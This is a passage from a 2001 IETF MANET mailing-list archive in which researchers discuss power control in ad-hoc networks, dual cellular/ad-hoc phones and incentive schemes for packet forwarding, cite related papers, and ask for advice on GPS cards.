step. I think "3G TR 25.924 ,Opportunity Driven Multiple Access" deals with a similar idea. -- Robin __________________________________________________ Do You Yahoo!? Get email at your own domain with Yahoo! Mail. http://personal.mail.yahoo.com/ From owner-manet@itd.nrl.navy.mil Thu Jan 18 19:31:17 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id TAA07642 for ; Thu, 18 Jan 2001 19:31:16 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id SAA10099 for manet-outgoing; Thu, 18 Jan 2001 18:05:01 -0500 (EST) Received: from crystal.bbn.com (CRYSTAL.BBN.COM [128.89.1.232]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id SAA10094 for ; Thu, 18 Jan 2001 18:04:59 -0500 (EST) Received: from crystal.bbn.com (localhost.bbn.com [127.0.0.1]) by crystal.bbn.com (8.9.3/8.8.8) with ESMTP id SAA47844; Thu, 18 Jan 2001 18:05:15 -0500 (EST) (envelope-from ramanath@crystal.bbn.com) Message-Id: <200101182305.SAA47844@crystal.bbn.com> To: Robin Poss cc: manet@itd.nrl.navy.mil Subject: Re: research topics In-reply-to: Your message of "Thu, 18 Jan 2001 12:37:48 PST." <20010118203748.95821.qmail@web11002.mail.yahoo.com> Date: Thu, 18 Jan 2001 18:05:15 -0500 From: Ram Ramanathan Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk > Date: Thu, 18 Jan 2001 12:37:48 -0800 (PST) > From: Robin Poss > Subject: research topics > To: manet@itd.nrl.navy.mil > MIME-Version: 1.0 > Content-Type: text/plain; charset=us-ascii > Sender: owner-manet@itd.nrl.navy.mil > Precedence: bulk > > Maybe these proposals will be inappropriate on this > list, sorry in advance if this is the case. > > Maybe they have already been discussed over and over, > sorry again. > > First idea: > ----------- > How about implementing power control at every mobile > node in an ad-hoc network, in order to keep the number > of neighbors known to this node inferior to a certain > number n, chosen cleverly to achieve reasonable > coverage nonetheless? Maybe this could reduce power > consumption and/or overhead, and reduce it enough to > be worth the corresponding coverage loss. > Good topic. BBN has done some work on this idea. Look at R. Ramanathan and R. Hain "Topology control using transmit power adjustment" Proc. IEEE Infocom, 2000 (Tel Aviv) Or for the larger project of which this is a part, look at www.ir.bbn.com/projects/dawn/dawn-index.html (badly needs to be brought up to date, so contact me for details if interested). This is only the tip of the proverbial iceberg. There's lots more juicy research that can be done in this area. -Ram. From owner-manet@itd.nrl.navy.mil Thu Jan 18 20:45:09 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA07935 for ; Thu, 18 Jan 2001 20:45:09 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id TAA11788 for manet-outgoing; Thu, 18 Jan 2001 19:35:54 -0500 (EST) Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id TAA11781 for ; Thu, 18 Jan 2001 19:35:52 -0500 (EST) Received: from verdi.ee.cornell.edu (verdi.ee.cornell.edu [128.84.240.71]) by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id TAA03936; Thu, 18 Jan 2001 19:35:52 -0500 (EST) Date: Thu, 18 Jan 2001 19:35:19 -0500 (EST) From: Zygmunt Haas To: Robin Poss cc: manet@itd.nrl.navy.mil Subject: Re: research topics In-Reply-To: <200101182305.SAA47844@crystal.bbn.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hi, > > First idea: > > ----------- > > How about implementing power control at every mobile > > node in an ad-hoc network, in order to keep the number > > of neighbors known to this node inferior to a certain > > number n, chosen cleverly to achieve reasonable > > coverage nonetheless? Maybe this could reduce power > > consumption and/or overhead, and reduce it enough to > > be worth the corresponding coverage loss. Take a look at the following work: M. Sanches, P. Manzoni, and Z.J. Haas, "Determination of Critical Transmission Range in Ad-Hoc Networks," Multiaccess, Mobility and Teletraffic for Wireless Communications (MMT'99), Venice, Italy, October 6-8, 1999 (it's on our web page: http://www.ee.cornell.edu/~haas/wnl.html) Also, Miguel Sanches's work on power control in ad hoc networks. Zygmunt Haas. ==-=-=-==-==== ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- Prof. Zygmunt J. Haas tel: +1-607-255-3454 Wireless Networks Laboratory School of Electrical Engineering fax: +1-607-255-9072 Cornell University 323 Frank Rhodes Hall e-mail: haas@ece.cornell.edu Ithaca, NY 14853 U.S.A http://www.ee.cornell.edu/~haas/wnl.html ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- From owner-manet@itd.nrl.navy.mil Thu Jan 18 20:47:47 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id UAA07947 for ; Thu, 18 Jan 2001 20:47:47 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id TAA11294 for manet-outgoing; Thu, 18 Jan 2001 19:11:56 -0500 (EST) Received: from scapa.cs.ualberta.ca (scapa.cs.ualberta.ca [129.128.4.44]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id TAA11289 for ; Thu, 18 Jan 2001 19:11:54 -0500 (EST) Received: (from localhost user: 'wkui' uid#432 fake: STDIN (wkui@newsarepta.cs.ualberta.ca)) by scapa.cs.ualberta.ca id ; Thu, 18 Jan 2001 17:11:27 -0700 Date: Thu, 18 Jan 2001 17:11:26 -0700 (MST) From: Kui Wu To: Robin Poss cc: manet@itd.nrl.navy.mil Subject: Re: research topics In-Reply-To: <20010118203748.95821.qmail@web11002.mail.yahoo.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk On Thu, 18 Jan 2001, Robin Poss wrote: > Maybe these proposals will be inappropriate on this > list, sorry in advance if this is the case. > > Maybe they have already been discussed over and over, > sorry again. Another email from Yahoo, but really good points. Hey, who said we should limit the domains in this list? > Natural human selfishness hinders the development of > ad-hoc phones:"Why should my battery power enable > conversations between strangers?" > Switching to ad-hoc mode when doing so saves battery > power (if such a thing is possible) would reverse this > situation and put selfishness on our side. > Saving battery in ad-hoc mode may not be feasible. How about let the phones serving in ad-hoc mode earn some "points", which can be converted into money or bonus. :-)). If that is true, I would like to switch my cell phone in ad-hoc mode. Kui > -- > Robin > > > __________________________________________________ > Do You Yahoo!? > Get email at your own domain with Yahoo! Mail. > http://personal.mail.yahoo.com/ > From owner-manet@itd.nrl.navy.mil Thu Jan 18 21:52:34 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA09461 for ; Thu, 18 Jan 2001 21:52:34 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id UAA12652 for manet-outgoing; Thu, 18 Jan 2001 20:21:41 -0500 (EST) Received: from ee.cornell.edu (anise.ee.cornell.edu [128.84.239.14]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id UAA12647 for ; Thu, 18 Jan 2001 20:21:39 -0500 (EST) Received: from verdi.ee.cornell.edu (verdi.ee.cornell.edu [128.84.240.71]) by ee.cornell.edu (8.9.3/8.9.1) with ESMTP id UAA04663; Thu, 18 Jan 2001 20:21:39 -0500 (EST) Date: Thu, 18 Jan 2001 20:21:05 -0500 (EST) From: Zygmunt Haas To: Kui Wu cc: manet@itd.nrl.navy.mil Subject: Re: research topics In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Hi Kui, > Saving battery in ad-hoc mode may not be feasible. How about let the > phones serving in ad-hoc mode earn some "points", which can be converted > into money or bonus. :-)). If that is true, I would like to switch my cell > phone in ad-hoc mode. The paper by Jean-Pierre Hubaux in the Mobihoc'00 studied credit-like schemes for rewarding nodes that forward traffic in ad hoc networks. Some very interesting ideas are in that paper, which assumes that the nodes are not necessarily collaborating. Zygmunt. ===--====== ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- Prof. Zygmunt J. Haas tel: +1-607-255-3454 Wireless Networks Laboratory School of Electrical Engineering fax: +1-607-255-9072 Cornell University 323 Frank Rhodes Hall e-mail: haas@ece.cornell.edu Ithaca, NY 14853 U.S.A http://www.ee.cornell.edu/~haas/wnl.html ~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~-~- -------------------------------------------------------------------------- Words of Wisdom: "Turns out that not where, but who you are with that really matters." David Matthews -------------------------------------------------------------------------- From owner-manet@itd.nrl.navy.mil Thu Jan 18 22:03:17 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA09568 for ; Thu, 18 Jan 2001 22:03:17 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id UAA13021 for manet-outgoing; Thu, 18 Jan 2001 20:40:49 -0500 (EST) Received: from patan.sun.com (patan.Sun.COM [192.18.98.43]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id UAA13013 for ; Thu, 18 Jan 2001 20:40:44 -0500 (EST) Received: from engmail4.Eng.Sun.COM ([129.144.134.6]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA10698; Thu, 18 Jan 2001 17:40:40 -0800 (PST) Received: from nasnfs.eng.sun.com (nasnfs.Eng.Sun.COM [10.6.84.20]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with ESMTP id RAA11075; Thu, 18 Jan 2001 17:40:38 -0800 (PST) Received: from eng.sun.com (awe2-86.East.Sun.COM [129.148.2.86]) by nasnfs.eng.sun.com (8.9.3+Sun/8.9.1) with ESMTP id RAA11473; Thu, 18 Jan 2001 17:40:37 -0800 (PST) Message-ID: <3A679B14.83F68CCF@eng.sun.com> Date: Thu, 18 Jan 2001 20:40:36 -0500 From: brian raymor X-Mailer: Mozilla 4.76 [en] (WinNT; U) X-Accept-Language: en MIME-Version: 1.0 To: Kui Wu CC: Robin Poss , manet@itd.nrl.navy.mil Subject: Re: research topics References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Kui Wu wrote: > Saving battery in ad-hoc mode may not be feasible. How about let the > phones serving in ad-hoc mode earn some "points", which can be converted > into money or bonus. :-)). If that is true, I would like to switch my cell > phone in ad-hoc mode. > The terminodes project (www.terminodes.org) is exploring incentives for collaboration in ad-hoc networks. In their paper, "Towards Mobile Ad-Hoc WANS: Terminodes", there is a description of a terminode currency called nuggets which can be exchanged using various models to enable packet forwarding. Robert Axelrod's TIT-FOR-TAT strategy also seems useful in this context. ...brian From owner-manet@itd.nrl.navy.mil Fri Jan 19 00:53:04 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA12208 for ; Fri, 19 Jan 2001 00:53:04 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id XAA15585 for manet-outgoing; Thu, 18 Jan 2001 23:16:53 -0500 (EST) Received: from yarilo.pluris.com (pluris.com [208.227.9.12]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id XAA15580 for ; Thu, 18 Jan 2001 23:16:51 -0500 (EST) Received: from DL100779.pluris.com (volsung.pluris.com [172.16.50.19]) by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id UAA25068; Thu, 18 Jan 2001 20:16:53 -0800 (PST) From: Bora Akyol MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14951.49075.854000.893399@gargle.gargle.HOWL> Date: Thu, 18 Jan 2001 20:16:51 -0800 To: Robin Poss Cc: manet@itd.nrl.navy.mil Subject: research topics In-Reply-To: <20010118203748.95821.qmail@web11002.mail.yahoo.com> References: <20010118203748.95821.qmail@web11002.mail.yahoo.com> X-Mailer: VM 6.90 under Emacs 20.7.1 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit >>>>> "Robin" == Robin Poss writes: Robin> First idea: ----------- How about implementing power Robin> control at every mobile node in an ad-hoc network, in Robin> order to keep the number of neighbors known to this Robin> node inferior to a certain number n, chosen cleverly Robin> to achieve reasonable coverage nonetheless? Maybe Robin> this could reduce power consumption and/or overhead, Robin> and reduce it enough to be worth the corresponding Robin> coverage loss. This has been discussed quite a few times. Nick Bambos (now at Stanford) had published on this topic as well. Robin> Second idea: ------------- How about a "dual" mobile Robin> phone, able to switch between a normal cellphone mode Robin> and an ad-hoc mode, the decision to swich being Robin> based, for example, on maximizing battery life, or Robin> minimizing bandwidth usage? In ad-hoc mode, the phone Robin> would use a chain of other phones not to reach the Robin> party called, but to reach the nearest (or otherwise Robin> clerverly chosen) base station. 802.11b has this support built-in when used in ad-hoc mode as well as Metricom ricochet modems (first gen at least). Bora From owner-manet@itd.nrl.navy.mil Fri Jan 19 03:09:48 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id DAA25909 for ; Fri, 19 Jan 2001 03:09:47 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id BAA17412 for manet-outgoing; Fri, 19 Jan 2001 01:48:28 -0500 (EST) Received: from mail.rz.uni-ulm.de (sirius-giga.rz.uni-ulm.de [134.60.241.36]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id BAA17407 for ; Fri, 19 Jan 2001 01:48:26 -0500 (EST) Received: from informatik.uni-ulm.de (seychelles.informatik.uni-ulm.de [134.60.70.20]) by mail.rz.uni-ulm.de (8.9.3/8.9.3) with ESMTP id HAA04103; Fri, 19 Jan 2001 07:48:22 +0100 (MET) Message-ID: <3A67E31E.976746E@informatik.uni-ulm.de> Date: Fri, 19 Jan 2001 07:47:58 +0100 From: Frank Kargl Organization: University of Ulm, Germany X-Mailer: Mozilla 4.76 [en] (Windows NT 5.0; U) X-Accept-Language: de,en MIME-Version: 1.0 To: Robin Poss CC: manet@itd.nrl.navy.mil Subject: Re: research topics References: <20010118203748.95821.qmail@web11002.mail.yahoo.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hi ... Robin Poss wrote: > Second idea: > ------------- > How about a "dual" mobile phone, able to switch > between a normal cellphone mode and an ad-hoc mode, > the decision to swich being based, for example, on > maximizing battery life, or minimizing bandwidth > usage? In ad-hoc mode, the phone would use a chain of > other phones not to reach the party called, but to > reach the nearest (or otherwise clerverly chosen) base > station. We are currently trying to implement such a solution based on bluetooth enabled cellphones. Unfortunately the needed equipment is rather difficult to obtain esp. as manufacturers are quite anxious about giving development kids of their cellphone software to others. Our basic idea is a phone that uses ad-hoc technology, if a partner is reachable via the ad-hoc network. In case of a reachable telephony gateway in the network (either IP telephony or POTS) this can be used (which is usually much cheaper than the GSM service). Finally there's a fallback to GSM. The main obstacles we have identified so far: - power consumption of phones in ad-hoc mode (as you said) - security considerations (routing calls through other phones) - GSM service provider won't be to eager to deploy such a solution as this would diminish their profit. We'll try to publish details of our work as soon as prototypes and results are working. Regards ... Frank -- ----------------------------------------------------------------------- Frank Kargl Multimedia Computing, University of Ulm, Germany Mail:frank.kargl@informatik.uni-ulm.de http://www.uni-ulm.de/~fkargl/ ----------------------------------------------------------------------- Use the SOURCE, Luke ! I feel a great disturbance in the SOURCE. But beware of the Microsoft side of the SOURCE ! From owner-manet@itd.nrl.navy.mil Fri Jan 19 04:43:51 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA26571 for ; Fri, 19 Jan 2001 04:43:50 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id DAA18264 for manet-outgoing; Fri, 19 Jan 2001 03:03:09 -0500 (EST) Received: from amber.crhc.uiuc.edu (amber.crhc.uiuc.edu [130.126.143.254]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id DAA18259 for ; Fri, 19 Jan 2001 03:03:07 -0500 (EST) Received: from platinum (platinum.crhc.uiuc.edu [130.126.143.4]) by amber.crhc.uiuc.edu (8.9.3/8.9.3) with SMTP id CAA29665; Fri, 19 Jan 2001 02:03:05 -0600 (CST) Message-ID: <087001c081ee$bbb86f80$048f7e82@crhc.uiuc.edu> From: "Jeff Monks" To: "Bora Akyol" , "Robin Poss" Cc: References: <20010118203748.95821.qmail@web11002.mail.yahoo.com> <14951.49075.854000.893399@gargle.gargle.HOWL> Subject: Re: research topics Date: Fri, 19 Jan 2001 02:06:31 -0600 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2314.1300 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit > > Robin> First idea: ----------- How about implementing power > Robin> control at every mobile node in an ad-hoc network, in > Robin> order to keep the number of neighbors known to this > Robin> node inferior to a certain number n, chosen cleverly > Robin> to achieve reasonable coverage nonetheless? Maybe > Robin> this could reduce power consumption and/or overhead, > Robin> and reduce it enough to be worth the corresponding > Robin> coverage loss. > > This has been discussed quite a few times. Nick Bambos (now at > Stanford) had published on this topic > as well. Yes, there has been work done in this domain from several different angles: 1) Utalizing a greater number of intermediate hops such that significantly less power is required at each transmission. R. Ramanathan and R. Hain "Topology control using transmit power adjustment" Proc. IEEE Infocom, 2000 (Tel Aviv) R. Wattenhofer, L. Li, P. Bahl, and Y. Wang, "Ditributed Topology Control for Power Efficient Operation in Multihop Wireless Ad Hoc Networks", To appear in INFOCOM 2001. 2) Minimizing the TX power to that needed to reach the intended destination a) For maximizing spectral reuse S.-L. Wu, Y.-C. Tseng, and J.-P. Sheu, "Intelligent Medium Access for Mobile Ad Hoc Networks with Busy Tones and Power Control," IEEE Journal on Selected Areas in Communications, Vol. 18, September 2000, pp. 1647-57. J. Monks, V. Bharghavan, and W. Hwu, "A Power Controlled Multiple Access Protocol for Wireless Packet Networks," To appear in INFOCOM 2001. b) For Energy efficiency J. Ebert, B. Stremmel, E. Weiderhold, and A. Wolisz, "An Energy-efficient Power Control Approach for WLANs," IEEE Journal Of Communications and Networks, Vol. 18, September 2000. There are quite a few others too and there are still opportunities for additional work in this area. > > Robin> Second idea: ------------- How about a "dual" mobile > Robin> phone, able to switch between a normal cellphone mode > Robin> and an ad-hoc mode, the decision to swich being > Robin> based, for example, on maximizing battery life, or > Robin> minimizing bandwidth usage? In ad-hoc mode, the phone > Robin> would use a chain of other phones not to reach the > Robin> party called, but to reach the nearest (or otherwise > Robin> clerverly chosen) base station. > > > 802.11b has this support built-in when used in ad-hoc mode as > well as Metricom ricochet modems (first gen at least). True, 802.11 has support for both communicating with a single base station and ad hoc mode. However, I think this falls far short of what is covered by this topic. 802.11 would require a significant amount of provisioning and added mechanisms to be able to support this dual mode in a way that would provide benefits in coverage and extended battery life. In addition, 802.11 uses a shared channel paradigm and this type of implementation would really require two separate channels (one devoted to each mode) such that the mechanisms in each mode do not conflict (if they are to be used together). Otherwise, the longer range cellular communication would interfere with the short ranged ad hoc communications. I'm not as familiar with the Ricochet modems, but I don't believe they used a combination of base station mode (for lack of a better term) and ad hoc mode. I know there are several people (both academic and industry) who are currently doing research in this area and I have thought that it was an interesting area for quite some time. I guess you could kind of think of a cell phone with a Bluetooth transmitter/receiver as a rudimentary form of dual base station/ad hoc mode device though it (like 802.11) does not (currently) adaptively use the two environment to manage the wireless resource and its energy reserves. This is where there is still a great deal of interesting research to be done in this domain. Robin> I was told that Nextel already offers a phone which Robin> can be used as a talkie-walkie. This is a first step. Actually, from what I understood talking to some guys from Motorola was that these devices still communicate through the cellular base stations. They only simplify the communication by reducing the signaling overhead since it sends individual data frames without first making a request and waiting for the accept and the frames stay on a single operators network (i.e. they are not switched onto the PSTN). Robin> I think "3G TR 25.924 ,Opportunity Driven Multiple Robin> Access" deals with a similar idea. Hmmm not sure about this one. -Jeff From owner-manet@itd.nrl.navy.mil Fri Jan 19 10:53:21 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA00933 for ; Fri, 19 Jan 2001 10:53:20 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id IAA22406 for manet-outgoing; Fri, 19 Jan 2001 08:39:19 -0500 (EST) Received: from smtpproxy1.mitre.org (mb-20-100.mitre.org [129.83.20.100]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id IAA22401 for ; Fri, 19 Jan 2001 08:39:17 -0500 (EST) Received: from avsrv1.mitre.org (avsrv1.mitre.org [129.83.20.58]) by smtpproxy1.mitre.org (8.9.3/8.9.3) with ESMTP id IAA29038; Fri, 19 Jan 2001 08:38:33 -0500 (EST) Received: from MAILHUB1 (mailhub1.mitre.org [129.83.20.31]) by smtpsrv1.mitre.org (8.9.3/8.9.3) with ESMTP id IAA22295; Fri, 19 Jan 2001 08:38:32 -0500 (EST) Received: from dhcp-104-232.mitre.org (128.29.104.232) by mailhub1.mitre.org with SMTP id 5384494; Fri, 19 Jan 2001 08:37:06 -0500 Message-ID: <3A684412.78C3F095@mitre.org> Date: Fri, 19 Jan 2001 08:41:39 -0500 From: Duncan Thomson Organization: The MITRE Corporation X-Mailer: Mozilla 4.75 [en]C-20000818M (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: Bora Akyol CC: Robin Poss , manet@itd.nrl.navy.mil Subject: Re: research topics References: <20010118203748.95821.qmail@web11002.mail.yahoo.com> <14951.49075.854000.893399@gargle.gargle.HOWL> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Bora Akyol wrote: > > >>>>> "Robin" == Robin Poss writes: > > > Robin> Second idea: ------------- How about a "dual" mobile > Robin> phone, able to switch between a normal cellphone mode > Robin> and an ad-hoc mode, the decision to swich being > Robin> based, for example, on maximizing battery life, or > Robin> minimizing bandwidth usage? In ad-hoc mode, the phone > Robin> would use a chain of other phones not to reach the > Robin> party called, but to reach the nearest (or otherwise > Robin> clerverly chosen) base station. > > 802.11b has this support built-in when used in ad-hoc mode... Could you please elaborate on this? I have the IEEE 802.11 standard, and I don't see this capability described. My version is a few years old. Do I need to get the most recent version? Could you please provide some more details on where we can find a description of this capability in 802.11. Has anyone implemented it? Duncan Thomson Sr. Technical Advisor Network and Communications Engineering The MITRE Corp. From owner-manet@itd.nrl.navy.mil Fri Jan 19 12:09:54 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA02605 for ; Fri, 19 Jan 2001 12:09:53 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id KAA25353 for manet-outgoing; Fri, 19 Jan 2001 10:15:17 -0500 (EST) Received: from cupidon.inria.fr (cupidon.inria.fr [128.93.5.23]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id KAA25348 for ; Fri, 19 Jan 2001 10:15:15 -0500 (EST) Received: (qmail 6539 invoked by uid 11205); 19 Jan 2001 15:15:16 -0000 From: Laurent Viennot MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <14952.23044.404776.814298@cupidon.inria.fr> Date: Fri, 19 Jan 2001 16:15:16 +0100 (CET) To: manet@itd.nrl.navy.mil Subject: Looking for GPS cards X-Mailer: VM 6.72 under 21.1 (patch 8) "Bryce Canyon" XEmacs Lucid Reply-To: Laurent.Viennot@inria.fr Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Hi, We are planning to make some experiments with GPS. Does anyone has some pointers about using GPS cards on laptops ? Do you know suitable equipment, are there any pcmcia GPS cards ? Thanks for e-mailing me some pointers. Best regards, laurent From owner-manet@itd.nrl.navy.mil Fri Jan 19 14:13:04 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id OAA04618 for ; Fri, 19 Jan 2001 14:13:03 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id MAA00539 for manet-outgoing; Fri, 19 Jan 2001 12:32:47 -0500 (EST) Received: from rodan.mobilian.com ([209.162.211.98]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id MAA00531 for ; Fri, 19 Jan 2001 12:32:43 -0500 (EST) Received: from amritansh1 ([209.162.211.98]) by rodan.mobilian.com (Post.Office MTA v3.5.3 release 223 ID# 0-68706U300L100S0V35) with ESMTP id com for ; Fri, 19 Jan 2001 09:33:34 -0800 Reply-To: From: amritansh@mobilian.com (Amritansh Raghav) To: Subject: RE: research topics Date: Fri, 19 Jan 2001 09:32:36 -0800 Message-ID: <005601c0823d$d10697a0$ee01a8c0@mobilian.com> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0) In-Reply-To: <3A684412.78C3F095@mitre.org> X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Importance: Normal Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit Afaik, 802.11 (a or b) has no such feature. Ad-hoc mode in 802.11 simply means peer to peer communication with other nodes in the same BSS (essentially confined to a single layer 2 segment). Multihop communication would require something above 802.11 -----Original Message----- From: owner-manet@itd.nrl.navy.mil [mailto:owner-manet@itd.nrl.navy.mil]On Behalf Of Duncan Thomson Sent: Friday, January 19, 2001 5:42 AM To: Bora Akyol Cc: Robin Poss; manet@itd.nrl.navy.mil Subject: Re: research topics Bora Akyol wrote: > > >>>>> "Robin" == Robin Poss writes: > > > Robin> Second idea: ------------- How about a "dual" mobile > Robin> phone, able to switch between a normal cellphone mode > Robin> and an ad-hoc mode, the decision to swich being > Robin> based, for example, on maximizing battery life, or > Robin> minimizing bandwidth usage? In ad-hoc mode, the phone > Robin> would use a chain of other phones not to reach the > Robin> party called, but to reach the nearest (or otherwise > Robin> clerverly chosen) base station. > > 802.11b has this support built-in when used in ad-hoc mode... Could you please elaborate on this? I have the IEEE 802.11 standard, and I don't see this capability described. My version is a few years old. Do I need to get the most recent version? Could you please provide some more details on where we can find a description of this capability in 802.11. Has anyone implemented it? Duncan Thomson Sr. Technical Advisor Network and Communications Engineering The MITRE Corp. From owner-manet@itd.nrl.navy.mil Fri Jan 19 21:23:03 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA09207 for ; Fri, 19 Jan 2001 21:23:02 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id UAA13222 for manet-outgoing; Fri, 19 Jan 2001 20:04:48 -0500 (EST) Received: from mercury.Sun.COM (mercury.Sun.COM [192.9.25.1]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id UAA13217 for ; Fri, 19 Jan 2001 20:04:45 -0500 (EST) Received: from centralmail1.Central.Sun.COM ([129.147.62.10]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id RAA28078 for ; Fri, 19 Jan 2001 17:04:46 -0800 (PST) Received: from esun1as-mm. (esun1as-mm.Central.Sun.COM [129.147.34.144]) by centralmail1.Central.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v1.7) with SMTP id SAA01644 for ; Fri, 19 Jan 2001 18:04:45 -0700 (MST) Received: from sun.com by esun1as-mm. (SMI-8.6/SMI-SVR4) id SAA19749; Fri, 19 Jan 2001 18:21:49 -0700 Message-ID: <3A68E473.93DE1897@sun.com> Date: Sat, 20 Jan 2001 02:05:56 +0100 From: gabriel montenegro X-Mailer: Mozilla 4.75 [en] (Win98; U) X-Accept-Language: en MIME-Version: 1.0 To: "manet@itd.nrl.navy.mil" Subject: Re: research topics References: <3A679B14.83F68CCF@eng.sun.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Content-Transfer-Encoding: 7bit brian raymor wrote: > Kui Wu wrote: > > > Saving battery in ad-hoc mode may not be feasible. How about let the > > phones serving in ad-hoc mode earn some "points", which can be converted > > into money or bonus. :-)). If that is true, I would like to switch my cell > > phone in ad-hoc mode. > > > > The 